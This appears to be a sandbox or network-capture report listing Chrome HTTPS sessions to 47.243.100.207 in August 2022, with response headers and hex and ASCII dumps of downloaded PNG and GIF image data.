44 75 39 e3 8b a4 be bf ea 3e 6c bc bd 91 9e 5b db c9 0c 93 cc c6 49 5c f5 67 6d f3 4b b9 2f ab fa 31 c4 00 2a 31 f4 c6 29 
6d aa b5 dd c9 9a 5f b1 1e e1 7b 57 b0 c9 9d 83 8b 8a f2 4f 88 f4 4c b2 b7 39 b1 d7 15 09 7d b5 d1 4b a9 61 90 fc 2c df 
09 3d 8e 4c c7 6b 71 31 e5 a9 98 94 7e 41 cb 76 2a ec 55 
Data Ascii: p1Kxv***WU[-Uv*[-)l`CxR**F*)lb31$t+@ME)At;]SHv?ep)[;sV=`ov*U***KBS~?/~Uj"^jVFU'Is{;Du9>l[I\gmK/1*1
)m_{WOL9}Ka,=Lkq1~Av*U

2022-08-11 03:43:02 UTC 11496 IN Data Raw: fb 5f 23 f9 9b cc 3a 2d e5 fe 97 08 68 6d d4 fa 41 8f 13 3b 83 f1 24 5f cc 40 ff 00 86 f8 33 5f a9 ed 7d 3e 9b 2c 
61 90 fa a5 ff 00 4a ff 00 a5 3f c7 f4 9d 3f 68 6b 22 3d 23 9b d6 bf 2c a7 f2 c4 de 54 86 2f 2f ab 42 90 12 97 b6 f3 7f bd 11 
dc f4 93 d7 1b 7c 75 1f ea f1 fb 39 c2 f6 dc 73 8d 41 39 bd 5c 5f 44 a3 fd dc b1 7f 0f 87 fd 17 40 25 7b ad f2 72 f9 f2 3b bd 
56 d7 cc e2 09 ad e2 9c b6 9f 7f 15 13 d4 47 f8 b8 88 c5 78 a2 02 00 e6 79 af d8 fd e7 db c3 da 27 48 63 09 60 e2 8c 8c 
7f 79 8e 5f c3 fe 77 f3 a5 f8 e1 4c 49 44 f9 c5 bc c7 0e 81 75 2f 97 23 8e 4d 51 00 68 92 41 5a a8 35 6e 03 a3 49 4f b0 1b 
2a ec e1 80 e6 88 ce 48 c7 e5 f8 fa 5b 2c f4 43 d8 f3 d6 fc ad 1b eb f6 02 d5 ae e0 ad ed 9c b4 21 45 3a 9a fd 9f e7 df e2 
4f f5 b2 dc 9f b8 d4 11 86 5c 7c 
Data Ascii: _#:-hmA;$_@3_}>,aJ??hk"=#,T//B|u9sA9\_D@%{r;VGxy'Hc`y_wLIDu/#MQhAZ5nIO*H[,C!E:O\|

2022-08-11 03:43:02 UTC 11512 IN Data Raw: df d3 f9 8e 2d fa 7d 3c b2 ca 83 cb b5 3d 4e ef 52 bb 7b ab 96 e4 ed b0 51 f6 55 7b 2a 8f 0c 2f 4d 87 0c 71 c7 
86 28 4c 5b 5d 8a bb 15 67 3e 40 f2 39 d4 24 5d 4f 54 86 ba 7a 8a db c2 fb 7a af fc c4 77 45 ff 00 89 66 7e 97 4d c5 ea 
90 f4 bc 9f b4 1d b9 e1 0f 0b 0c bf 7b fe 52 5f cc 8f f3 7f ae f5 65 55 55 0a a0 05 02 80 0d 80 03 36 6f 00 4d b7 85 5d 8a 
bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 
57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab 44 62 ae c5 5d 8a a1 2e 25 e4 78 8f b2 3f 13 92 01 81 2a 58 50 ec 55 ff d3 ee 
19 6b 8e ec 55 d8 ab b1 57 62 ae c5 51 16 36 52 de 4e 23 4d 87 57 7e c0 60 25 20 5b 2d b6 b6 8a de 15 8a 21 45 5f bc 
9f 13 95 96 e0 29 53 14 bb 15 76 2a ec 55 d8 ab b1 57 62 
Data Ascii: -}<=NR{QU{*/Mq(L[]g>@9$]OTzzwEf~M{R_eUU6oM]v*UWb]v*UWb]v*UWb]v*UDb].%x?*XPUkUW
bQ6RN#MW~`% [-!E_)Sv*UWb

2022-08-11 03:43:02 UTC 11528 IN Data Raw: ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 
15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 
62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5f ff d5 f5 4e 2a ec 
55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 
8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab 
b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 
76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 
Data Ascii: ]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb_N*UWb]v*UWb]v*UWb]v*UWb]v*UWb]v*UWb
]v*UWb]v*UWb]v*UWb]v*UWb

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

221 47.243.100.207 443 192.168.11.20 59767 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11342 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:01 GMT
etag: "1bd95-62f0fcc2-202f16;;;"
last-modified: Mon, 08 Aug 2022 12:08:34 GMT
content-type: image/png
content-length: 114069
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:01 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:02 UTC 11377 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 00 84 08 06 00 00 00 cf ed ae df 00 00 00 
09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 
00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 01 bd 1b 49 44 41 54 78 da ec fd 77 bc 6d d7 55 
de 8d 7f e7 5c 65 97 53 ef 39 b7 e9 5e 75 4b b2 8a 25 cb 72 b7 91 0d 6e 60 dc 70 c0 60 13 62 20 e1 07 81 97 9a 40 20 
95 00 81 90 bc 26 21 21 94 10 4a 4c 09 10 8a c1 c6 38 ee 0d 5b 96 6d d9 46 92 d5 65 95 ab 72 db e9 bb ae 32 e7 fb c7 1
8 6b ed b5 f7 d9 e5 dc 6b 1b 08 bf b3 f8 5c 74 7d ee d9 6b af 35 cb 98 63 3c e3 19 cf 30 ff 0b db 89 08 28 2e c3 de af 14 
87 c7 eb e7 0c f5 ca 7d f6 7a 19 3c 19 19 29 9e 00 43 84 25 c4 
Data Ascii: PNGIHDRpHYs cHRMz%u0`:o_FIDATxwmU\eS9^uK%rn`p`b @ &!!JL8[mFer2kk\t}k5c<0(.}z<)C%

2022-08-11 03:43:02 UTC 11393 IN Data Raw: 29 3b 35 b0 40 5f ee 9d 00 73 75 f9 ee d0 c0 b1 05 a9 9d 18 17 e2 04 0d 38 d1 87 bf b8 1b 8b 67 85 26 67 48 
59 a0 2e c1 05 66 f8 ab ad ae bf 6e 2a cf 1a 29 72 9c 66 e3 1d ef 28 18 14 0e 14 94 18 0b 50 53 ae 37 52 53 31 1f 9d 1b 
5b c6 a9 b5 8f 9a 10 25 e2 18 87 06 16 82 b2 76 85 a5 18 2e b6 90 ac c1 46 5f 6a 72 b2 ac 52 00 e1 25 8b 18 d4 61 3d 
83 b5 48 27 b3 e2 2e d9 80 dd 6d 64 fd de 5c 13 a7 ce ea d6 06 1c 6f c0 42 0d e8 6a e1 a4 4a a9 d6 22 c9 1c 34 e6 e1 0f 
4f 90 3f f4 38 0d 1c 0b 44 1a 80 0c ba e6 ae bc fc 46 f8 8a a3 e2 f0 3b 2b 99 8b c5 ba 64 c6 e6 0d dc 7b 86 07 1e 7c 98 
90 88 c7 f1 60 04 93 dc f2 7d 22 1c 9b 78 16 e7 e6 e1 82 9a 00 4f 0b 0d 71 76 2d 12 40 76 12 78 6c 8b c7 37 b6 68 00 3b 
a4 d4 b4 fa e8 24 5d 62 62 3e 7b e2 04 2f f8 e8 83 f0 fc 83 
Data Ascii: );5@_su8g&gHY.fn*)rf(PS7RS1[%v.F_jrR%a=H'.md\oBjJ"4O?8DF;+d{|`}"xOqv-@vxl7h;$]bb>{/

2022-08-11 03:43:02 UTC 11532 IN Data Raw: 23 51 0f 09 cc 80 22 31 87 a0 cd 51 9f 36 d0 d5 22 d1 88 80 2f 55 d3 0e bf a7 d4 a8 19 23 7d 26 fa f2 9b 38 96 
a9 b3 93 78 de fb 9b 1f a0 fb 9b 03 a9 d1 03 0a 1e f8 08 5e f7 f3 af 12 5d ee 9d 96 ca 81 22 4e 58 81 d6 26 29 8f fc b3 8f 
f3 a9 07 4f 97 f8 9f df cb d6 d6 ef 30 50 16 94 77 80 23 18 9a da 89 f3 18 21 8b e5 9b 66 d4 c9 d9 51 67 bb 01 1c 22 a0 
86 67 03 94 4e 71 08 3e b4 05 c1 0e 3c 3f 90 2c 0b b1 f6 9a 68 08 df 3a cb c0 18 62 22 89 b9 c8 48 35 20 56 b1 5d 0d 76 
fd d8 42 fa 42 ee ee a5 cf b8 84 f9 ff f8 d5 f0 f4 1c ce 9c 15 1b b1 1e 40 fd ac 38 75 2b 35 38 b5 00 3f f9 69 de f9 9b 9f d6 
a6 55 d2 d0 2a 42 ba d2 ce 91 d2 a7 c3 12 01 ad 07 4e f1 89 7f fd 76 4e 23 05 f2 c5 b1 7c 17 f0 ca 67 1f e2 aa 57 bc 5c 
02 d6 7e 5f de a9 de 90 02 d4 2c 87 a5 03 f0 
Data Ascii: #Q"1Q6"/U#}&8x^]"NX&)O0Pw#!fQg"gNq><?,h:b"H5 V]vBB@8u+58?iU*BNvN#|gW\~_,
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2022-08-11 03:43:02 UTC 11548 IN Data Raw: 42 2f 87 f9 18 b2 5c ba 69 44 90 79 5a 3f 7e 27 b7 fe d0 63 2c 9f e8 b2 87 28 94 12 96 25 2c c7 ff d2 0d f0 37 
0f c2 e6 32 e8 19 d9 5b d3 a1 a0 ec 2a e1 3b ff 4e c5 c7 df 7b 99 75 60 3f d0 46 b8 ca e5 48 d7 08 f2 70 5f 4a 1c 89 ad c2 
50 a3 9f 70 7e 19 ba a1 8a 7a 8c 18 74 49 7c 36 13 f1 5d 33 36 7f db 18 91 bd 98 2c 05 24 21 2a 07 50 35 a4 b8 f0 8c 5b 
ba 65 09 45 b1 45 74 71 48 35 ca 27 9e f5 d0 94 3e a3 8f a3 01 44 9c 21 63 13 38 46 4c 8b 18 c5 80 0e 3e 14 0f 42 b3 93 
2e 88 a7 86 65 01 58 bd 50 c0 0f 9f 84 9f be 09 5e 5e c0 95 5e 98 07 48 83 14 6d 1d 9e e8 c0 6b 8e 71 cb db 0f c1 4f 7d 
94 ae 87 88 26 35 9a c0 3a f5 26 24 ff e7 8d 70 63 b0 bd 1c a2 e5 08 cf 96 c8 88 51 d9 2f 9d e0 fd 1b 96 c3 c0 22 9e 43 
d4 50 bb f8 4a fb 70 2e ec 0a 83 95 15 85 1f 0e 9f 
Data Ascii: B/\iDyZ?~'c,(%,72[*;N{u`?FHp_JPp~ztI|6]36,$!*P5[eEEtqH5'>D!c8FL>B.eXP^^^HmkqO}&5:&$pcQ/"CPJp.

2022-08-11 03:43:02 UTC 11564 IN Data Raw: 80 ef ef c3 e8 4d 0a 7b 09 13 39 bc 8d 45 9d e7 45 2d d6 3c 4a 1b 7c e9 c1 1b 36 2f 97 f8 ac 47 ad 97 43 56 
0a dc 3f 2c 42 30 e9 97 1d c7 7d 7b 70 97 a1 a2 21 2e 6b 26 42 e6 d6 d4 d5 6f 63 ac ed 54 80 6c e7 56 aa 2d 01 57 8d 
0e 4a b7 a5 c5 e7 b7 04 8b ad bf eb 77 68 f3 c9 75 a5 01 05 f4 23 2a 86 0e 6d 6c 75 8d c2 4d 6d 41 e5 4c a0 6e 0c dd df 
d4 35 dd 21 b7 b6 5b 86 98 f5 70 24 4e 8f d2 16 49 ee cc b6 8e c5 30 49 9d 4c b6 26 fd 26 25 1d 74 db ee b6 9d b8 df 2f 
0c c9 b2 e1 1a f4 44 e8 35 5b f0 15 b9 6a f3 3c 3d 19 39 b6 d5 c4 10 93 0e c9 94 63 bb 06 bc 9b 48 2c 14 9a da 44 12 6a 
46 a8 e0 b0 60 70 a3 6b f2 e1 ce 0d 13 e0 61 00 92 d1 58 49 26 d3 80 21 ba 90 32 59 f4 08 29 57 81 4f 6f b1 a3 c4 c4 8c 
ca 64 b7 65 f5 54 c1 f4 24 da d6 59 b8 ba 24 1d a7 49 f1 96 
Data Ascii: M{9EE-<J|6/GCV?,B0}{p!.k&BocTlV-WJwhu#*mluMmALn5![p$NI0IL&&%t/D5[j<=9cH,DjF`pkaXI&!2Y)WO
odeT$Y$I

2022-08-11 03:43:02 UTC 11661 IN Data Raw: 2e 7f f5 2b 9c 7d e3 df 30 f5 e0 03 ec f9 ec e7 30 85 88 e2 c2 5e ce bc 76 8a f6 b9 73 a4 a1 45 88 09 36 3b 4c 
97 66 a8 9e bc 96 d2 c1 03 d8 66 9d 4e b3 43 b2 72 89 20 30 10 56 70 41 80 9e aa 66 f2 19 50 56 a3 3a 42 3a 95 30 fb 
d1 4b d4 ee 5f 86 04 8c cd d6 51 f1 01 8b 4b 03 da 17 a6 59 fb ca 0c 9d a7 2b b8 b6 81 62 57 3e a8 51 89 42 94 a3 74 c3 
26 53 f7 5f a4 b0 bf 0e 1d 4d b7 60 45 94 64 32 c8 00 ac 61 f5 8f 0e b2 f5 cd 1a d1 42 93 d9 cf 9e a5 74 72 0b 33 e7 e1 
a1 b4 21 d9 a8 50 ff d6 1e 1a 8f 4d 61 97 43 54 49 70 07 b7 98 ff e4 79 2a 37 d6 69 bc 38 cb a5 df 3b 8c 6c 09 5a bf 47 
1b bc 8c d6 bd 74 09 91 ff dc af ed 18 ea d1 f0 7e fb 46 5f 6a 0c f0 ea 82 b7 bc 28 d5 66 0c bc f4 ba 57 0c 67 ef fa df ea b6
c9 1a 5a bc d5 65 b7 90 3f ca 7a 6a d8 6d 81 bb 62 
Data Ascii: .+}00^vsE6;LffNCr 0VpAfPV:B:0K_QKY+bW>QBt&S_M`Ed2aBtr3!PMaCTIpy*7i8;lZGt~F_j(fWgZe?zjmb

2022-08-11 03:43:02 UTC 11677 IN Data Raw: eb 6e 8e ff da df 64 ee 86 1b 40 69 b4 09 7b a7 65 53 8b 15 87 b4 db 6c 3c 7c 2d 4f be f0 22 ab 0f 7f 8f ce e5 
15 c8 80 bb 38 37 26 35 ae 08 8d f1 9a b6 50 51 be fb 76 ae fa 99 9f 27 98 9a 26 5d bd c4 ca d3 4f 13 a7 e9 e0 63 6c 1d 
2e 8e 71 b9 9f 0f d6 ab e7 02 03 27 d0 6c 51 be ea 08 7b 7f fa d3 54 0e 1f ee fd ae 73 79 99 95 c7 1e e1 cd df f8 ff b1 fe 
27 5f 64 e3 b9 67 89 f6 ed e5 d0 4f ff 0c 3a 2a 30 7f f3 ad 74 fe f6 df e4 f4 ff b7 cd c6 5f 3c 8f 4b ba 25 93 aa 4f 3b 44 0e 
a2 10 89 fc b2 19 56 53 94 13 74 17 60 ba ae f3 83 f4 4c 70 7a 67 1c 28 54 41 20 f2 93 bc 50 75 18 ad 07 ad 36 25 f3 42 
71 69 ae dd b7 86 40 20 4a d1 41 0b 1b 42 21 09 08 74 80 d8 d0 2f 7b 99 a6 53 65 5e f8 22 79 f0 a5 50 91 43 05 0a 09 
1d 52 4e 09 0b 96 48 06 35 97 2a 6b 0e 62 13 21 
Data Ascii: nd@i{eSl<|-O"87&5PQv'&]Ocl.q'lQ{Tsy'_dgO:*0t_<K%O;DVSt`Lpzg(TA Pu6%Bqi@ JAB!t/{Se^"yPCRNH5*kb!

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

222 47.243.100.207 443 192.168.11.20 59081 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11342 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:01 GMT
etag: "95a4-62f11cb7-202f2b;;;"
last-modified: Mon, 08 Aug 2022 14:24:55 GMT
content-type: image/gif
content-length: 38308
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:01 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:02 UTC 11409 IN Data Raw: 47 49 46 38 39 61 f4 01 42 00 f7 00 00 93 00 00 be 85 85 d7 5a 5c e7 01 29 e6 14 27 e7 22 2a f7 d4 d4 f3 a4 
aa eb 43 56 ee 6c 74 ee 3a 29 f6 c8 be b3 01 01 ee 23 2a ee 2c 2a e9 14 28 e8 22 2a ea 2a 2c e9 1b 29 9c 00 00 f2 9c 9b 
d6 5d 5d f1 91 8c f3 aa a4 cd 0f 10 ea 32 26 e8 01 29 f7 c6 c4 ea 3b 43 e9 0a 29 fb ec eb d9 5d 5e e8 14 2c e8 0a 01 f9 
d5 d6 f9 e2 db cf 26 10 e8 21 12 e5 02 09 e9 25 36 e8 61 50 e4 42 26 ee 64 71 e5 12 18 f9 e1 ce e7 32 25 f2 82 6c f6 d2 
cc f3 91 7b dc 75 5b e6 14 2c ee 53 30 da ba ba e8 33 40 ee 74 7b f7 f0 e5 eb 60 48 e8 43 43 ef 84 86 f5 c3 bb e5 39 25 
eb 53 58 f5 c4 c4 c2 15 04 e6 0a 06 f0 74 86 ec 64 66 eb 36 52 f0 91 99 f4 b2 a4 ed 59 73 f3 a1 93 e7 2b 2d ea 8d 8b f4 
b4 ba ef e1 e1 e7 1c 29 ea 71 5e e7 2d 3b ed 4a 29 e6 5b 
Data Ascii: GIF89aBZ\)'"*CVlt:)#*,*("**,)]]2&);C)]^,&!%6aPB&dq2%l{u[,S03@t{`HCC9%SXtdf6RYs+-)q^-;J)[

2022-08-11 03:43:02 UTC 11425 IN Data Raw: 6b b5 d8 82 36 00 c2 20 14 03 23 a8 e0 62 5a 08 12 22 8d 39 e0 43 08 62 c1 86 39 43 5d dd 6c 2b 24 01 2c 
d8 5c c2 51 43 52 2d e6 1e bc 82 36 80 a7 35 28 ff 02 cc 70 82 37 c0 82 f0 d5 60 22 08 41 12 a8 16 0e c1 a8 39 e8 48 42 
10 cc 04 4d 22 27 d4 01 20 b0 83 24 04 9b 0b 5d e8 21 08 c3 3d f4 2b 1c 7c de 35 cc 69 ed e6 11 16 24 83 34 40 03 2d 
24 03 25 48 a9 25 5c 0f 92 74 26 65 0d 43 3d b8 c3 2f 68 03 22 34 5d 39 a1 83 37 58 c3 db 61 d0 c8 76 66 47 20 81 24 7
0 c3 21 6c c1 14 a5 01 32 68 83 b8 9c 8d 8f 92 e9 72 a9 03 20 ec 9b d3 59 c2 0c 52 f2 11 00 df 25 d5 03 3e 98 43 2f 28 0
1 20 74 83 1f 60 a8 b5 ad 01 17 ac 16 87 9d 43 39 b4 43 31 f4 81 27 74 c3 db 49 1b 12 34 c3 2f 50 69 ee ec c7 35 c0 82 3
9 75 c2 17 00 82 39 70 66 48 28 01 31 61 81 8e aa 81 bb 6c 19 33 
Data Ascii: k6 #bZ"9Cb9C]l+$,\QCR-65(p7`"A9HBM"' $]!=+|5i$4@-$%H%\t&eC=/h"4]97XavfG $p!l2hr YR%>C/( t`C9C1'tI4
/Pi59u9pfH(1al3

2022-08-11 03:43:02 UTC 11441 IN Data Raw: df 30 7a e0 2f 1b bc e0 10 10 d8 dc 42 7e ff 3d 4a d9 32 61 17 c8 70 c5 15 2e a0 8a 3e 10 c2 15 4c e8 81 8d f9 
10 08 0a 80 54 c9 df 35 43 15 ce 98 8c 54 dd 01 19 68 c8 48 04 2e 8a 08 3e 10 40 0c a9 98 42 0f 02 e1 83 79 5e 21 15 
d9 30 06 07 0a d0 83 54 04 c2 06 09 a8 82 2a 20 10 8c 91 fe 22 01 a9 88 02 00 39 40 08 09 04 82 0f 4a bb 42 1f d4 c1 0b 
16 2c e3 02 81 70 41 11 84 a1 0d 37 29 82 59 f3 68 84 2a d8 90 dc 70 88 26 02 c8 f5 39 73 69 4c 63 e7 0a 5d e8 bc 01 
97 d0 9d 4b 74 24 7c cb b9 47 df 4d 04 b8 eb 94 07 64 81 21 7e cc 4e bd b2 a3 75 ac 33 e4 8e 13 f1 fa 42 e8 8b f5 79 e1 
71 1e d5 30 82 2d ac e8 97 79 80 eb 2d 5b 48 95 32 2b 32 8f 26 c5 23 0f 42 43 46 15 fa 9a 00 5a a4 2a 3f b6 f8 ea 14 b6 
e0 07 74 64 58 09 84 20 c4 01 7e 51 08 4b 1c e2 10 09 fc 85 
Data Ascii: 0z/B~=J2ap.>LT5CThH.>@By^!0T* "9@JB,pA7)Yh*p&9siLc]Kt$|GMd!~Nu3Byq0-y-[H2+2&#BCFZ*?tdX ~QK
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

223 47.243.100.207 443 192.168.11.20 58729 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11342 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:01 GMT
etag: "75d-62d8e1a6-202eee;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 1885
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:01 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:01 UTC 11343 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 0f 08 06 00 00 00 69 f5 a8 01 00 00 00 
19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 
54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 
6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 2
0 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 
6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 
2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 
Data Ascii: PNGIHDR\itEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M
0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 
2018/08/13-16:40:22  

Session ID Source IP Source Port Destination IP
Destination
Port

Process

224 47.243.100.207 443 192.168.11.20 63663 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11345 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:01 GMT
etag: "ded6c-62f0fed7-202f19;;;"
last-modified: Mon, 08 Aug 2022 12:17:27 GMT
content-type: image/png
content-length: 912748
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:01 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:02 UTC 11447 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 dc 00 00 03 20 08 06 00 00 00 39 b5 a0 3c 00 00 
20 00 49 44 41 54 78 5e e4 bd d9 ae 25 4b 72 25 76 32 8b 84 5e 55 9f 26 90 ea 7f 91 a8 01 1a fa 37 05 74 d7 83 c0 6e d6 
a5 40 5e 82 c5 16 54 29 84 87 0f 36 2c b3 65 16 b1 f3 92 82 2e ba 59 79 22 dc 6d b6 65 e6 be 3d 22 be fd e7 7f ff ef fe 8f 
af af af ff fa eb eb eb eb c7 fe 3f d7 3f d0 7f 63 c4 fd 9f f8 67 34 9a 52 51 34 d6 1f df cc 34 39 c8 de 8b e4 98 73 fe dc 95 ec
13 e3 27 ef c8 3e cc 6e ec be 11 b1 a5 62 83 f6 8f c6 58 2d 92 96 a8 45 27 09 c0 92 38 6c d0 8f 57 61 2b 26 7f 26 0f 6c 
b4 fd b8 92 8a e9 30 26 7d a3 e3 0e 19 12 8f 24 e4 73 71 c0 5d 13 90 b7 4b 4f 6e 7f 1b 29 0c 72 ba a0 37 1e 52 98 b8 20 
ab 3e 14 a3 5f 77 7e 2b f8 a5 9d 18 0e 1d 1c 74 
Data Ascii: PNGIHDR 9< IDATx^%Kr%v2^U&7tn@^T)6,e.Yy"me="??cg4RQ449s'>nbX-E'8lWa+&&l0&}$sq]KOn)r7R >_
w~+t

2022-08-11 03:43:02 UTC 11463 IN Data Raw: 6f f0 63 17 6f cc 04 88 71 cf ba bc b5 e6 97 53 40 8b 63 d8 8f 3f e5 35 4a 96 04 9c bd cd e2 93 25 28 d8 b1 cf 
31 db 28 90 55 02 61 99 ee 46 04 f6 f1 aa 0e c2 84 ef 04 4a 00 00 20 00 49 44 41 54 a4 dd 04 a3 e6 a5 03 f2 f0 4b ee 52 
d7 8b 58 69 7f 20 b5 d0 83 c3 21 4f 36 e0 dc 29 ae c2 8f 5c 86 79 1e 63 2c a8 65 60 7d 1e 0b 69 cf 42 07 78 99 e2 34 11 
15 0d 0c 6a 41 07 76 b0 c2 ce 34 5d 0a 66 4f 55 4f a1 93 e5 55 29 3b ee 5a 20 84 d8 ef f6 65 a7 b7 0b 61 92 16 72 31 bf 
22 a9 fb c1 31 5a 4f 5a b9 ae 54 8a 9c 5e f0 8f 25 07 fd ed 8a d2 ae 8c 67 7a c0 2b 16 41 dc 69 c9 19 58 b3 98 63 69 c3 
df 92 a3 12 20 b4 98 6e 22 6e 64 20 8b dd 50 74 52 b8 79 95 e8 4b 0a ef cb f5 ea 63 93 46 13 91 3a 0f 98 5c 53 f6 62 8b 
bc 3a ba 69 c1 89 39 85 f8 a8 0c 71 b9 27 57 2b b6 48 
Data Ascii: ocoqS@c?5J%(1(UaFJ IDATKRXi !O6)\yc,e`}iBx4jAv4]fOUOU);Z ear1"1ZOZT^%gz+AiXci n"nd PtRyK
cF:\Sb:i9q'W+H

2022-08-11 03:43:02 UTC 11581 IN Data Raw: 4c 96 07 72 ed 5b e5 11 ea 5c 5d 8a 08 c7 d1 1f 7f 97 af e4 ea 0e 38 be 2a 3b cb bb d0 07 a8 f1 3a 9f 00 67 
8d 05 dc 63 ec d6 e3 b0 21 2c e6 e6 9a 2f 6d 85 4a c2 69 e6 1c 61 74 58 31 2c 4b 40 2c fa 64 1a 2b 6f 4f fd bc e6 45 21 
1a 5d 34 7e 0c 00 00 20 00 49 44 41 54 d0 75 97 83 71 d5 c8 7f 2a fe b6 71 99 80 5c a5 16 0e a5 44 f6 b1 fc a2 dd 92 b2 
5c 76 c3 6d 4e 44 af db 92 f1 43 81 b8 86 09 23 8b 29 2d 90 20 55 fd cc 38 b7 11 3d ee 0b df b4 ea 87 c1 c2 f1 e6 21 1d 
79 f9 cb 17 96 8d 32 d0 b7 0b d8 9a e2 e7 1c ed 19 ff 6c c3 dd f6 3c 9a bf de 2e 00 8d 8c fc fd 00 89 5e 53 c7 07 d3 13 3f 
75 60 19 8d 8d 64 a5 f1 2b 88 a5 f8 1e e4 4c 06 66 11 1e 64 76 b5 b6 db f4 ed ab 22 59 71 8e 1a e9 a6 53 cb f5 ef 96 a7 
63 8e 48 83 4d a3 20 6a 61 48 2b b2 4a f2 77 e2 db d8 
Data Ascii: Lr[\]8*;:gc!,/mJiatX1,K@,d+oOE!]4~ IDATuq*q\D\vmNDC#)- U8=!y2l<.^S?u`d+Lfdv"YqScHM jaH+Jw
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2022-08-11 03:43:02 UTC 11597 IN Data Raw: 72 86 4b df f6 dc 56 56 45 51 60 20 b1 13 89 dc ba f7 58 7b 9f 79 c5 e4 78 6e 04 9d ad 5b 0e 2a f3 5a 56 a8 
